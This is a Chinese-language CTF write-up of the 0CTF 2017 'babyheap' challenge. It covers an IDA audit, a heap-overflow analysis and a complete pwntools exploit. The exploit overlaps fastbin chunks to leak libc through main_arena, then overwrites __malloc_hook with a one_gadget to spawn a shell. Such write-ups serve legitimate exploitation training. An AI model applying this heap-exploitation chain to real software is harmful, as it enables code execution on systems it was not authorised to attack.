0CTF-babyheap2017祥讲

解题思路

1. 查看文件信息,安全机制
2. IDA审计
3. 分析漏洞点
4. 编写EXP

1.基本信息

安全机制
在这里插入图片描述安全机制全部开启了,其实不用慌,对我们做题影响不是很大

运行
0CTF-babyheap2017祥讲_第1张图片

2.IDA审计

1.Allocate
0CTF-babyheap2017祥讲_第2张图片
2.Fill
0CTF-babyheap2017祥讲_第3张图片
3.Free
0CTF-babyheap2017祥讲_第4张图片
4.Dump
0CTF-babyheap2017祥讲_第5张图片
4.1
0CTF-babyheap2017祥讲_第6张图片

3. 分析漏洞点

每次都是利用UAF漏洞来泄露堆的地址,第一次尝试利用这个方法去获取堆的地址(好像叫重叠堆)
漏洞点
1.Fill的size大小没有限制,可以覆盖到后面的chunk
2.在free的时候,不存在uaf漏洞
3.dump只能dump出本chunk的内容

思考漏洞点
先考虑怎么获取堆的地址:
0CTF-babyheap2017祥讲_第7张图片
这样就获取到smallbin的main_arena的地址

alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)

free(1)
free(2)
	
payload  = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)    #通过修改index(2)的fd指针将small chunk的地址写进fastbin链表中
payload += p8(0xc0)
fill(0, payload)


payload  = p64(0)*5
payload += p64(0x31)   #修改index(3),将index(4)的size位修改为和free chunk大小相同
fill(3, payload)

alloc(0x20)  #将index(2)的chunk 申请走
alloc(0x20)   #将我们伪造的index(4) 大小为0x20 chunk,申请走

payload  = p64(0)*5  #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)

alloc(0x80) #这理多申请一个small,在我们想要获取堆地址的时候,最好是两个以上的同一个chunk来泄露    index = 5
free(4)  #先free 为下面寻找0x70的chunk,做准备

libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))

libc_base如何计算
0CTF-babyheap2017祥讲_第8张图片
hex(0x7ffff7dd1b20 - 0x7ffff7a0d000) = 0x3c4b20
0x58 就是main_arena 距离我们上图的距离0x58=88
vmmap
0CTF-babyheap2017祥讲_第9张图片
伪造chunk块,修改__malloc_hook

alloc(0x68)  #伪造chunk 在main_arena 里面找到一个合适的chunk大小  一般常用0x7f   index = 6
free(4)

fill(2, p64(libc_base + 0x3c4aed))    #main_arena的伪造chunkl地址
print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60) #将index= 4的 chunk申请走,
alloc(0x60) #将index = 4的fd ,chunk分配,这里就是我们伪造的chunk

payload  = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)

alloc(233) #这里已经将__malloc_hook,修改为onegadget ,只要调用了alloc就会获取shell
p.interactive()

bins
0CTF-babyheap2017祥讲_第10张图片

编写EXP

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.log_level='debug'
 
local = 1

if local:
	p = process("./babyheap")
	#elf = ELF("./level3_x64")
	#libc = ELF("libc-2.19.so")
else:
	p=remote("pwn2.jarvisoj.com",9883)
	elf = ELF("./level3_x64")
	libc = ELF("libc-2.19.so")

def alloc(size):
    p.sendline('1')
    p.sendlineafter(': ', str(size))
    p.recvuntil(': ', timeout=1)
 
def fill(idx, data):
    p.sendline('2')
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', str(len(data)))
    p.sendafter(': ', data)
    p.recvuntil(': ')
 
def free(idx):
    p.sendline('3')
    p.sendlineafter(': ', str(idx))
    p.recvuntil(': ')
 
def dump(idx):
    p.sendline('4')
    p.sendlineafter(': ', str(idx))
    p.recvuntil(': \n')
    data = p.recvline()
    p.recvuntil(': ')
    return data
 
p.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)


alloc(0x80)
free(1)
free(2)
 	
payload  = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)


payload  = p64(0)*5
payload += p64(0x31)   
fill(3, payload)
#gdb.attach(p) 
alloc(0x20)
alloc(0x20)   #chunk申请过来 

payload  = p64(0)*5  #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)


alloc(0x80)
free(4)

libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))
#gdb.attach(p)
log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
log.info("libc_base: " + hex(libc_base))

alloc(0x68)  #伪造chunk 在main_arena 里面找到一个合适的chunk大小  一般常用0x7f
free(4)

pause()
fill(2, p64(libc_base + 0x3c4aed))

print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60)
#gdb.attach(p) 
alloc(0x60)
#gdb.attach(p)

payload  = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)

alloc(233)
 
p.interactive()

后期在继续补充…

参考文献
:https://www.cnblogs.com/jazm/p/11184380.html
:https://bbs.pediy.com/thread-223461.htm

你可能感兴趣的:(#,例题分析)